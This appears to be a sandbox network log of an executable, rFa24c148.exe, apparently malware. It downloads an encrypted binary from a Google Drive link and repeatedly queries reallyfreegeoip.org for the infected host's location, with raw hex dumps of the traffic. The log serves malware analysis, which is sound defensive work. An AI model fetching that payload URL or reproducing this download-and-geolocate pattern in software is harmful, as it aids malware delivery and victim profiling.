2024-10-28 01:02:41 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 28 Oct 2024 01:02:41 GMT Location: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-chpqaLxB0OaRCv6UBAvE4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.185.225	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:42 UTC	258	OUT	GET /download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-28 01:02:45 UTC	4910	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="RJvGhLEx125.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 275520 Last-Modified: Sun, 27 Oct 2024 21:04:17 GMT X-GUploader-UploadID: AHmUCY28mKZ0sI9ddNBsTHp43CSQV9A5nJSWT5domAxTpOlsGwRLU1_EsWNrZ23L7nUaTz3lwdY Date: Mon, 28 Oct 2024 01:02:45 GMT Expires: Mon, 28 Oct 2024 01:02:45 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=CojfBQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 01:02:45 UTC	4910	IN	Data Raw: d8 d7 11 22 bc 6a 66 62 06 37 45 40 80 d6 17 2e bd b3 66 d1 7a db 17 8e 81 fe 56 0e f3 11 0b 50 0a cb 56 29 11 dc 42 ba a4 7e 42 b0 8e ab 94 1d 8f 36 b9 a5 07 d2 1c 20 8a 88 e2 3b 0f dd 50 d9 4d 52 c0 63 51 9c 25 22 7b 40 d6 f2 6e a0 b0 12 6e 3a 76 64 88 8c 81 96 bf 58 af ea 01 b4 d9 0c c1 96 09 a5 cf d0 c9 70 3e fc 4e d3 40 39 ea 9b 56 c7 5b 86 91 32 32 28 c8 86 1d 88 5a 55 cc d6 34 97 0d 1d bc 67 cc 26 85 2b 6e 75 fc c2 3d 34 c4 b4 95 b0 90 dc 0c 81 75 ba 6e 19 6a 13 c1 9f 93 4e 30 3c 9e d1 62 5f e8 c7 f6 a0 5a 8c 2f 15 7b dd 0e 08 d8 c3 17 a4 0a 04 38 80 5d 68 e4 7e 40 e5 3d 0a 97 29 00 48 66 fc 52 ac 5c 09 6f d6 d9 5c a9 28 80 a8 a4 19 80 47 a8 d6 29 86 fe d6 0a 55 d9 a5 a6 0c 47 43 10 74 76 79 e9 d9 e7 3d 4a 69 92 44 2c aa e6 4c 70 95 5a 18 b7 c8 52 Data Ascii: "jfb7E@.fzVPV)B~B6 ;PMRcQ%"{@nn:vdXp>N@9V[22(ZU4g&+nu=4unjN0<b_Z/{8]h~@=)HfR\o\(G)UGCtvy=JiD,LpZR
2024-10-28 01:02:45 UTC	4876	IN	Data Raw: 37 7c b8 6e 67 4c 14 8b 47 63 53 5d 47 11 b7 14 dd ab ac 53 98 f6 00 89 65 a1 53 ad 12 5a 90 49 47 65 80 bb 8e 0e e8 9e dd d7 da 5d 24 c5 df de 42 37 b4 a8 93 e4 9b 18 17 7a 07 88 15 bd 3f 86 14 94 37 09 dd 6a af 14 f5 c5 da 54 8a 29 f8 74 b5 1d 1a cc 56 43 2a 8c bf 1a ad 6c b5 ef e2 2e 7d 30 76 d9 7b c4 fe 7c 44 5b 53 5b 1d 96 46 1e 10 19 d8 45 17 88 f2 21 3f 0f ca 49 e9 54 74 4a b2 2f 29 84 ae 54 6a 12 02 34 a4 5f 6e f3 3a c2 b2 8c 89 e7 c6 0b 10 2b 19 ce eb 83 e1 b0 0b 10 35 55 1b 0e fa 73 0f c1 d6 2b ea 3b bd 6a cd 10 50 e8 36 71 5e ae a8 df 4f a3 ae c4 19 24 8a de 87 bf 01 4b 8b 0c 77 56 f7 59 25 15 fd b5 78 ce 82 4f 7d 81 15 46 73 4d d9 eb 95 7c 33 c3 8f 32 0b 27 3d da 85 e5 af 99 c9 05 0e a0 f1 ea e6 8f 97 17 fd 89 c4 a9 a9 be 6c e8 86 27 0b e5 88 Data Ascii: 7\|ngLGcS]GSeSZIGe]$B7z?7jT)tVC*l.}0v{\|D[S[FE!?ITtJ/)Tj4_n:+5Us+;jP6q^O$KwVY%xO}FsM\|32'=l'
2024-10-28 01:02:45 UTC	1325	IN	Data Raw: 14 b6 6f f2 f5 2b f3 91 a2 94 85 96 0f 24 f3 6d f9 a2 9c fd d1 e5 2e a1 22 46 d4 6f 08 0a 56 c8 5a ed e2 04 31 26 48 04 40 ac 08 b6 65 f3 e2 ad 21 55 f0 8b 8d 2f 65 30 6f a0 2a ab 7e 45 e0 0d 91 6f ab 57 a3 8e 3b a3 a1 a8 d1 eb 5c 39 80 32 88 0c 84 72 0d e7 ee 96 c2 7e e8 9a 53 33 28 99 bd 7e 80 c0 09 40 4a 09 5f f4 3d fe ed 98 44 fa 23 2b b4 89 d4 c3 15 49 b2 fa 94 c3 cf 06 ef 4b a0 80 08 8d dc 22 f1 eb 8e 76 65 f1 be 8e 88 1f 09 34 e1 01 e2 91 01 4a 1a 9e 49 37 5b c8 16 04 63 8d 70 c5 bf db b3 36 00 4d 02 8b 7f c8 4f ca 0d ed a7 9f 66 48 1e 76 37 3b 49 89 63 cd 68 d9 6e 16 74 f1 13 7c 48 09 d8 54 0a 6d 92 ac 17 ff 6b 66 88 84 d1 41 61 06 5b f2 6e f2 9a a1 b1 64 8e cb b5 19 9d 2d 01 67 1a 5a 33 06 3a 8c 49 55 a5 8b 70 16 fb 0c 48 14 a1 b7 c0 d5 12 a2 9d Data Ascii: o+$m."FoVZ1&H@e!U/e0o*~EoW;\92r~S3(~@J_=D#+IK"ve4JI7[cp6MOfHv7;Ichnt\|HTmkfAa[nd-gZ3:IUpH
2024-10-28 01:02:45 UTC	1378	IN	Data Raw: 3f 14 68 6c d9 45 21 45 b8 54 8c 89 ed 2a 52 18 01 5f 5a 7a 74 8b 2c a9 b2 fc 21 c2 da 6a 2a a6 46 ca 49 a7 92 a7 8c 1f 3f 25 be 21 e0 15 0f cb b3 70 85 5c b7 79 e6 64 b5 a8 36 7b 53 8b cd c4 ae b1 a4 a7 bf 01 8c f2 3b a8 72 2b 29 29 65 37 a7 56 34 60 2c fb 61 b0 b0 5c 7b 94 b1 61 06 53 e8 e8 9f 0c 4f e5 fa 23 0d 01 26 e9 95 a2 d8 99 c9 05 0e 5c e0 e2 89 e2 bf 60 f7 84 10 a7 a9 d1 56 c4 8e 32 1f ab fb f8 0b 3e e8 bc a5 45 55 a9 a7 9d 09 36 9f 8c 3c 95 59 89 5e bd b0 61 d0 32 97 36 91 01 4c 9e 72 b1 43 dc 70 63 5f 78 bc 89 a5 13 15 e5 71 c4 2f 71 82 87 76 30 01 43 9a 1b a5 ad 52 07 e6 24 a0 d9 aa a0 3f 80 f0 57 9c 1f 86 87 f7 32 1c 45 f4 4b 38 e8 75 50 b1 44 37 fd 94 66 13 4a 6c 19 03 08 d5 d2 05 1e 40 ba 9d 6e f9 23 3a 9a e4 cf dc 4c 81 40 0b 2e 6c 36 db Data Ascii: ?hlE!ETR_Zzt,!jFI?%!p\yd6{S;r+))e7V4`,a\{aSO#&\`V2>EU6<Y^a26LrCpc_xq/qv0CR$?W2EK8uPD7fJl@n#:L@.l6
2024-10-28 01:02:45 UTC	1378	IN	Data Raw: 0f 26 df ee 17 05 2c 1e 78 2d 64 89 02 0d ec 45 fc 9f 5d aa cb c4 64 3d 1d 21 f0 1a 8e 8e bc 0d 44 52 d4 2f da a8 d8 2c 96 10 07 8f 9b 5c 36 80 50 2f 30 dc bb 12 cb c8 10 9f b8 8a bb 57 61 11 fe 7a d5 51 6e 78 45 91 a0 97 2d 46 d8 d4 38 ec 0e b8 dc 69 20 18 71 d6 1c 23 04 d2 01 1a c8 c0 b6 23 11 56 0d 87 b8 c7 0f d2 52 b3 e5 c1 00 9e 1c 6c 30 9b ac 7f bd ec 9f 24 9a ef ab 3d a7 bc b4 b9 5d 37 f9 67 d1 b2 b3 4d 4c 0d 47 42 4b 5f d1 6c de 42 4c 85 e3 6f 29 d0 90 63 74 04 db d2 43 1d 08 01 7e 95 48 e1 f8 bc bf c0 06 a1 54 ed 8b b8 e0 29 80 73 ea 56 9a 45 33 24 9f 36 18 be c2 80 e2 e9 4d 3f eb 6a 09 dc b0 19 d3 0c 57 c9 e4 36 41 e2 5a 19 b9 e3 4f fc 03 a6 d9 e3 fc 67 30 4a ea 70 cf d1 b1 82 03 0e 64 4e 1d 74 64 ee 01 73 f5 5f a1 37 b8 6d de f1 11 c2 76 58 a0 Data Ascii: &,x-dE]d=!DR/,\6P/0WazQnxE-F8i q##VRl0$=]7gMLGBK_lBLo)ctC~HT)sVE3$6M?jW6AZOg0JpdNtds_7mvX
2024-10-28 01:02:45 UTC	1378	IN	Data Raw: 6f 28 74 79 d9 5a 97 8c 65 21 22 57 fc 68 2d 02 c4 35 e4 1c dc 24 7a 60 8c b4 15 72 ce 6c aa 38 6c da 7f e0 0d e9 2f 6b 57 a7 f6 86 60 a1 d8 cd c3 ae fb 80 38 94 e1 8d 68 02 a0 f0 97 c2 7a 8f 89 06 33 22 f7 51 53 80 ca 03 23 5b 76 9a 84 2a 79 90 a5 44 fb 02 52 0c cd d4 c9 11 70 be 88 13 d5 a0 cf c7 ff aa f2 17 ea 41 42 d9 c0 a6 2d 6f 8f ff e1 4f 1b 21 74 e1 10 e0 f2 93 0a 1a 9a 60 58 4d ba 27 a9 77 e9 c6 c8 12 f3 07 3c 74 c4 a0 ae 66 b6 1a cd 7f ca 15 ba 0f 59 9d 76 37 35 eb a4 07 fd 11 d6 6a 18 95 d4 08 06 11 b5 d8 50 a2 27 33 de 90 fa 6b 3e 70 ac a4 4b 7c 81 74 3a 6e f3 b5 b7 bd 51 9b cb c1 c8 71 3a 29 d9 09 53 47 95 1f 94 3f 72 3f 89 00 c4 c8 3d b7 2c a1 bd d2 89 36 ab e5 04 5a 2c 87 67 5a a0 91 7a 0b 90 28 8b 1b 37 f3 35 f8 4d 2f cc e2 56 80 db 01 39 Data Ascii: o(tyZe!"Wh-5$z`rl8l/kW`8hz3"QS#[v*yDRpAB-oO!t`XM'w<tfYv75jP'3k>pK\|t:nQq:)SG?r?=,6Z,gZz(75M/V9
2024-10-28 01:02:45 UTC	1378	IN	Data Raw: f2 53 27 0a 9f c4 0b 67 88 5c 71 83 0f 55 00 4e a2 eb 9f 76 fe d0 9e 3f 62 a0 35 cb 89 8a bf 83 a6 a5 0e 7c ea ee 98 f9 f8 cc f7 84 10 a7 a9 97 aa c4 8e 36 0e 8a 9f df 6e 3e 98 c8 ba 65 55 a1 8f d4 21 41 95 9d 14 eb 05 04 1e b9 98 5e f5 24 e3 a2 44 11 19 9e 07 b1 43 d0 c1 65 48 2e 9b 89 a5 1d 69 c0 69 b6 f6 1e b5 f7 5e 74 73 d6 9e b9 f0 a2 04 c0 e6 24 ae 6d 71 bb 5e a1 f3 73 c0 e1 be 11 ac bf 5c 44 d1 5c 6f c5 08 d7 d1 e6 62 48 99 c5 3b fe 66 bb 2c b2 82 9f 78 61 25 18 c8 d5 a2 02 12 2e e0 6d f3 f4 d6 23 76 4f 0e 94 8e 5f a1 f9 e5 4b 98 d6 47 04 65 45 ea 31 9a df 97 f1 44 0e 1d c5 b8 37 99 4a f6 b4 0b e3 87 b5 13 f0 e9 b8 33 c8 e5 72 76 e6 5d 2c 11 52 6b 5e 6e d7 8f 09 eb b0 c8 1a 31 dd 9a 61 55 ff a6 f9 e8 f1 85 6b a9 27 30 99 cd 0e 83 ce 0e e0 7d 95 ba Data Ascii: S'g\qUNv?b5\|6n>eU!A^$DCeH.ii^ts$mq^s\D\obH;f,xa%.m#vO_KGeE1D7J3rv],Rk^n1aUk'0}
2024-10-28 01:02:45 UTC	1378	IN	Data Raw: 1f b0 c1 06 ea 1f 1e 63 1c 23 25 d4 08 03 d6 de 57 80 7e 08 07 87 b2 d6 0e c3 c6 b3 e5 cf 28 8b 10 6c 33 d8 67 76 d2 e7 9f 35 98 91 4d e3 b4 9d e2 b6 5d 37 f7 07 69 b2 9b 25 23 c0 4d 9f 22 59 c0 64 cf 44 23 35 d1 6f 23 d4 f3 f0 19 cb ab c4 61 9c 20 65 74 83 b0 e0 35 a9 8b ed 0b 6b 56 e7 98 cc cf 01 e2 77 98 3d 54 45 43 32 b7 c9 2d be c8 92 6e 7d 5c 39 8a 7a 18 6d b1 19 d9 1a bd 36 f1 00 50 e9 65 a1 78 e3 4f 88 00 67 d9 e7 de 8c 43 88 e0 63 c9 bc 80 93 04 74 2c 51 0c 70 67 3b 29 f2 ff 30 6f 21 46 66 cd ed 07 a0 8a 81 a0 0d 7c d2 a5 52 8d c1 4e ed 68 08 fd 71 a7 de 2d 6c a9 a1 ab a4 80 38 1a 89 7d 18 17 a1 4f 6b 71 51 2d c0 4b 68 4e a5 12 6c c8 ab 5e e6 cb b7 78 91 09 d3 3b 81 03 7f a9 c4 e1 63 cf 91 5c 77 e8 ad 64 0a cb da 3f cd d9 a0 4c b5 30 b6 45 8b 36 Data Ascii: c#%W~(l3gv5M]7i%#M"YdD#5o#a et5kVw=TEC2-n}\9zm6PexOgCct,Qpg;)0o!Ff\|RNhq-l8}OkqQ-KhNl^x;c\wd?L0E6
2024-10-28 01:02:45 UTC	1378	IN	Data Raw: f4 93 af 59 77 67 44 72 88 f1 df 67 71 ac 88 63 71 ea 61 ef 4b a0 80 08 5d 64 2a 83 ce a9 2d 15 53 91 f8 31 27 09 3e e5 b2 cf 96 fe 3b 19 9e 38 b0 68 a1 53 2b 63 fd d6 42 8d ef 75 03 16 47 d0 0c 4f cf 1a c5 07 f2 59 ba 7f 3c 35 54 2c b2 ab ac 79 be 34 c0 1c 21 c1 d4 78 a0 47 1e f0 e4 a8 48 84 7c b5 e8 19 43 25 ac d4 e3 44 15 4a 02 6e f2 94 03 ea 42 fc fa b2 6a 24 8f 29 18 09 53 47 24 19 9a 65 51 30 89 7a 66 cd 24 c5 14 a1 95 a1 2b 13 bb 97 7d 2b 13 f7 c5 7b aa cd 14 6c 87 2c 94 8b 28 f3 3f 5e 40 7a be d7 48 91 88 dd 51 7f 35 37 a6 ef 02 51 98 d7 58 01 55 17 91 f3 23 31 c2 0e dc 0e d3 b6 df 60 42 73 d0 06 38 ef 4c f7 a5 6f 3b e5 31 e1 09 c4 0d db 02 b1 18 f7 09 7f 3c b0 fd 2a 61 3b 7c 6d 42 75 aa b6 9e 59 54 66 71 67 41 3e b2 20 74 15 3f 3c 53 ce a4 3b 17 Data Ascii: YwgDrgqcqaK]d-S1'>;8hS+cBuGOY<5T,y4!xGH\|C%DJnBj$)SG$eQ0zf$+}+{l,(?^@zHQ57QXU#1`Bs8Lo;1<a;\|mBuYTfqgA> t?<S;
2024-10-28 01:02:45 UTC	1378	IN	Data Raw: 91 46 31 0e 69 b6 42 99 0a d6 63 4a 2d 59 cf 89 d5 6a 19 e5 71 ce 40 dc b5 87 7c 34 0d ea 98 1b d1 c8 b3 86 e6 2e b9 de 2a 90 2c a4 e5 01 25 41 9b 7a a1 1a 9d 44 d1 57 5c 2d 7b 43 d3 f7 00 c6 b0 c3 02 5d 09 71 26 10 ad 87 0a 35 3b 18 a9 66 91 74 f0 9a e0 67 f9 56 e2 28 7a 10 1c 94 fa d5 42 8c e5 41 fd b8 6f 71 6f 45 f1 33 fa 97 50 e4 40 00 58 da b8 33 ee de bf b4 01 86 38 00 01 fa 99 81 60 d9 e9 1b a9 f8 4c 32 39 07 67 31 a7 d7 52 82 ea 6e d8 1a 31 dd 9a 61 55 ff aa f9 e8 f1 85 6b a9 27 30 99 cd 0e 83 b0 44 d5 7d 91 cc 14 f6 51 42 14 23 62 24 ea 8b be 4a 75 4b 18 59 92 b4 66 a7 04 b4 59 42 8f ea 7c e8 25 eb 90 e1 a0 98 20 e7 bf 36 23 e5 ca dc 97 ca 30 bc 82 81 d9 5a 6f 65 62 a1 65 67 20 30 f9 83 93 4e 5b 40 c1 bc 6a ce a4 3d 49 63 4a 2f 11 d4 5f e9 a9 bb Data Ascii: F1iBcJ-Yjq@\|4.*,%AzDW\-{C]q&5;ftgV(zBAoqoE3P@X38`L29g1Rn1aUk'0D}QB#b$JuKYfYB\|% 6#0Zoebeg 0N[@j=IcJ/_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:48 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 01:02:49 UTC	873	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:49 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lwmEH6Yq4UK0W%2FCVXSv0e9N5xrjXMD4pDZvFqVFAhymrFca%2F6hpBnzaxeaAMj1k9gWl8SK3zwYsA7qvwiHJyAb1uMN883QuZIgQb8PQJslMozL23Q%2FLZf%2Fht3V6DCpuc9KQbkY8k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700a3ab700b95-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1326&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2157973&cwnd=249&unsent_bytes=0&cid=7fe2383ffa841996&ts=389&x=0"
2024-10-28 01:02:49 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:50 UTC	63	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-28 01:02:50 UTC	878	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:50 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 1 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cCQtTn390h7jq75EK7koaJ0PFrPm0ztrx1Ynx1Zg7uO5RddbytRwQcstGjNJjzxpbt0h4RVhdDcOdsr9rrzCRtVdKZ573w%2BAeFYqmCSqYa9ygcEQdQd%2F9c5LqYVHIQAmD0yVp%2B9D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700ab7b426b23-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1104&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2385502&cwnd=251&unsent_bytes=0&cid=fdedf2974bc030e6&ts=155&x=0"
2024-10-28 01:02:50 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:51 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 01:02:51 UTC	884	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:51 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ryQ1Fz%2FTi%2FG7kOQW6g2CpsBR73nOwAg6e2xLD5eQwQBuQzNDgQJvprd%2ByNEVhJK35keK2oCb8lIDrdkybjm%2FajceI%2FKvSsE6wk%2B07JhAH6PknYhxLScy572PV0kGhzfoAETzstXN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700b5d8f4839e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1555&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1862379&cwnd=189&unsent_bytes=0&cid=e0f6c3dea934e903&ts=174&x=0"
2024-10-28 01:02:51 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:53 UTC	63	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-28 01:02:53 UTC	882	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:53 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 4 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uj4HHugt1Ju2XiRoKfteZO8p9H33rQnhATxaX2By5Dwk8WY7KetxsJIPQ58T9R1H%2BUl7tr9Q%2BxFn%2BVG1oHCKbYlH6NelsvuKetaqYN2n1Kduq3cREdvR0DJmRpO%2BLUPG80J%2F7csQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 